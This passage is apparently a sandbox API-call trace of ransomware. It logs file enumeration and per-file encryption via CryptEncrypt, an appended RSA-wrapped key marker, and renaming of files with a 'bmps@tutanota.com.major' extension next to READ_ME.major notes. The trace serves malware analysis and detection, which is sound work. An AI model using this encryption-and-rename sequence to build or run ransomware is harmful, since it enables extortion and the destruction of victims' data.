CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0250.141] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0250.141] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66e948, pcchString=0x2e3f9a8 | out: pszString="Rcjy71zRoujlYP1q8k7vOoBryatBy8N+20G3LqnzZyKgpw2/cV3mh9SkKCn1Ikox\nLP19q/rSBwaPDMpFcXu4BwYlrQHUhXQoFxOQRH8F+YzP4tRNVzHOWUYw42gYbUlF\n79WnmTMYQq2qjFg/x/grUxHPlSILTyIGV6Jil9QzMHxqJtcrA2krVtbcvTu+v2R3\n+Wkq0AaxTT8B0gM1yU8GfBZU8tKdXbGlXaacEGXsZTQU6yYqW+0E2o634p+1HIEN\n6UhB/v/VCEz5+na9zPWCZEV1xh9fIJak5MANvhHUEOnaj1poJ3yQXLZnJp4rHAQj\nFjQr9SPLe8SWl1wil5euiA==\n", pcchString=0x2e3f9a8) returned 1 [0250.141] WriteFile (in: hFile=0x1b14, lpBuffer=0x66e948*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0250.141] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.141] WriteFile (in: hFile=0x1b14, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.141] CloseHandle (hObject=0x1b14) returned 1 [0250.141] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.2.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.2.filtertrie.intermediate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.2.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.2.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0250.143] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0250.143] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.1.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0250.143] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.1.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.1.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b14 [0250.143] GetFileSizeEx (in: hFile=0x1b14, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5) returned 1 [0250.143] ReadFile (in: hFile=0x1b14, lpBuffer=0x59d430, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x5, lpOverlapped=0x0) returned 1 [0250.144] SetFilePointer (in: hFile=0x1b14, lDistanceToMove=-5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.144] WriteFile (in: hFile=0x1b14, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5, lpOverlapped=0x0) returned 1 [0250.144] SetFilePointer (in: hFile=0x1b14, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5 [0250.144] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.144] WriteFile (in: hFile=0x1b14, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.144] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0250.144] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0250.145] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0250.145] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="aeLL1ba2It5Thh4p4/uJ5PPyMEun3BFfYYPIwCyC0dDbz6SStdKWAzn4S94KlAIX\nqruAHoifTS8dZ0xhu6UDfgp8v5t88cRF/W251dJ9yM5RIDfBsOoyf5EvL7wAx4XX\nnkiFVqFuH2GQAK4bigtEpNkby6Z95EleXZYA6iMHkRDWTQJPuOlSQYgQg5umImxe\nDSN0HOnzdGPA5idhcu0586f0Ere2ebeWqArQeKKzI62SakQqzyxK+y+QYCvUVUMQ\n1nSaB6geasE0twsY9ykZ5B82+T0aHsygSgQ2hPwGxf+KqaKmtS9jxUr+POocEhD6\n71Wu5uBeq1UdNSRlS9xrBA==\n", pcchString=0x2e3f9a8) returned 1 [0250.145] WriteFile (in: hFile=0x1b14, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0250.145] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.145] WriteFile (in: hFile=0x1b14, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.145] CloseHandle (hObject=0x1b14) returned 1 [0250.145] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.1.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.1.filtertrie.intermediate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.1.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.1.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0250.147] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0250.147] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.0.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0250.147] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.0.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.0.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b14 [0250.147] GetFileSizeEx (in: hFile=0x1b14, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=90303) returned 1 [0250.148] ReadFile (in: hFile=0x1b14, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x160bf, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x160bf, lpOverlapped=0x0) returned 1 [0250.476] SetFilePointer (in: hFile=0x1b14, lDistanceToMove=-90303, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.476] WriteFile (in: hFile=0x1b14, lpBuffer=0x340b0e0*, nNumberOfBytesToWrite=0x160bf, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x340b0e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x160bf, lpOverlapped=0x0) returned 1 [0250.476] SetFilePointer (in: hFile=0x1b14, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x160bf [0250.476] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.477] WriteFile (in: hFile=0x1b14, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.477] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0250.477] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0250.477] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0250.477] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="e68PC2gtiOSxDTfJilsWvsbgP1uQfVC+0+Tw3iCYy90AxGx8RdOemsbfl+tVkqLv\n/smHraIbQf8R+OLKtEm2NX+aWuaryLaM7vLN18UAzZSB/JRnBTeB/7w/f6IGBQ+3\nhxVlHiIdVFd7qRA5bMGxj6TUAa+ene8jxDXkb0DCJy0qI5XjfI9XgiAPzXBlktaO\n/WRWljUC/QFJb7T5mBwU/eNrK2zPov5jP+ZhugeCLITK2WAIi1UCZkNBKjMBqnA9\nXAyyL3xXFeeh7GVnHY/Wj46ya05Q7xSUbCK7yx4eYnrinZkCx++0tqeJLEbuvwrH\n5XP41l0V//xC7LjuFvw4ZA==\n", pcchString=0x2e3f9a8) returned 1 [0250.477] WriteFile (in: hFile=0x1b14, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0250.477] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.477] WriteFile (in: hFile=0x1b14, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.478] CloseHandle (hObject=0x1b14) returned 1 [0250.478] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.0.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.0.filtertrie.intermediate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.0.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{549dafe6-de7c-4227-9b89-3b85713bbc8d}\\0.0.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0250.481] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\AC\\INetHistory\\BackgroundTransferApi\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5106299e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x5106299e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x47881e95, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31aa0 [0250.481] SetLastError (dwErrCode=0x0) [0250.481] GetLastError () returned 0x0 [0250.482] SetLastError (dwErrCode=0x0) [0250.482] GetLastError () returned 0x0 [0250.482] SetLastError (dwErrCode=0x0) [0250.482] FindNextFileW (in: hFindFile=0x2f31aa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5106299e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x5106299e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x47881e95, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.482] SetLastError (dwErrCode=0x0) [0250.482] GetLastError () returned 0x0 [0250.482] SetLastError (dwErrCode=0x0) [0250.482] GetLastError () returned 0x0 [0250.482] SetLastError (dwErrCode=0x0) [0250.482] FindNextFileW (in: hFindFile=0x2f31aa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x5106299e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x5106299e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x5106299e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0250.482] SetLastError (dwErrCode=0x0) [0250.482] GetLastError () returned 0x0 [0250.482] SetLastError (dwErrCode=0x0) [0250.482] GetLastError () returned 0x0 [0250.482] SetLastError (dwErrCode=0x0) [0250.482] FindNextFileW (in: hFindFile=0x2f31aa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x47881e95, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x47881e95, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x47881e95, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.482] SetLastError (dwErrCode=0x0) [0250.482] GetLastError () returned 0x0 [0250.482] SetLastError (dwErrCode=0x0) [0250.482] GetLastError () returned 0x0 [0250.482] SetLastError (dwErrCode=0x0) [0250.482] FindNextFileW (in: hFindFile=0x2f31aa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x47881e95, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x47881e95, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x47881e95, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0250.483] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0250.483] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\AC\\INetHistory\\BackgroundTransferApi\\container.dat", dwFileAttributes=0x80) returned 1 [0250.483] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\AC\\INetHistory\\BackgroundTransferApi\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\ac\\inethistory\\backgroundtransferapi\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b18 [0250.483] GetFileSizeEx (in: hFile=0x1b18, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0250.483] ReadFile (in: hFile=0x1b18, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0250.484] SetFilePointer (in: hFile=0x1b18, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.484] WriteFile (in: hFile=0x1b18, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0250.484] SetFilePointer (in: hFile=0x1b18, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0250.484] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.484] WriteFile (in: hFile=0x1b18, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.485] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0250.485] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0250.485] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0250.485] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="HzrG0nek9fSNVJZKxewZRxKiP0n7abQGJ7HCdRLg5Nx0UR+0NVKh82Iy+KRdWTtB\nJDHRgj7hhJxVodRydqu/uVfESoQog+znFhgTs4agbq6sys4nMnMp/Elhz5lfdD4s\nh5wSfV35wzAd1KC3J/XplXpCLAkUPkK36w2t1Ew58alw5goUzY39CzHjwQu0vcgM\nVXA7X0eyOkPpEgIWx0EmGUDGzVePmOdj6UxMrOw0llyr2XcheEkAYOPXZvO9cRek\nXydLoyX2a7zkJ62Y7bRhPGkd5onY2UZpxzeJ6K98UiKEbN1xxbVmB2GL5oBiQg7P\n6MpD2qQu2pQcG0fY9548Ww==\n", pcchString=0x2e3f9a8) returned 1 [0250.485] WriteFile (in: hFile=0x1b18, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0250.485] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.485] WriteFile (in: hFile=0x1b18, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.485] CloseHandle (hObject=0x1b18) returned 1 [0250.486] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\AC\\INetHistory\\BackgroundTransferApi\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\ac\\inethistory\\backgroundtransferapi\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\AC\\INetHistory\\BackgroundTransferApi\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\ac\\inethistory\\backgroundtransferapi\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0250.488] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\AC\\INetHistory\\BackgroundTransferApiGroup\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5106299e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x5106299e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x47881e95, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31f60 [0250.488] SetLastError (dwErrCode=0x0) [0250.488] GetLastError () returned 0x0 [0250.488] SetLastError (dwErrCode=0x0) [0250.488] GetLastError () returned 0x0 [0250.488] SetLastError (dwErrCode=0x0) [0250.488] FindNextFileW (in: hFindFile=0x2f31f60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5106299e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x5106299e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x47881e95, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.488] SetLastError (dwErrCode=0x0) [0250.489] GetLastError () returned 0x0 [0250.489] SetLastError (dwErrCode=0x0) [0250.489] GetLastError () returned 0x0 [0250.489] SetLastError (dwErrCode=0x0) [0250.489] FindNextFileW (in: hFindFile=0x2f31f60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x47881e95, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x47881e95, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x478a777b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.489] SetLastError (dwErrCode=0x0) [0250.489] GetLastError () returned 0x0 [0250.489] SetLastError (dwErrCode=0x0) [0250.489] GetLastError () returned 0x0 [0250.489] SetLastError (dwErrCode=0x0) [0250.489] FindNextFileW (in: hFindFile=0x2f31f60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x47881e95, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x47881e95, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x478a777b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0250.489] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\LocalState\\Files\\S0\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f13411f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f13411f, 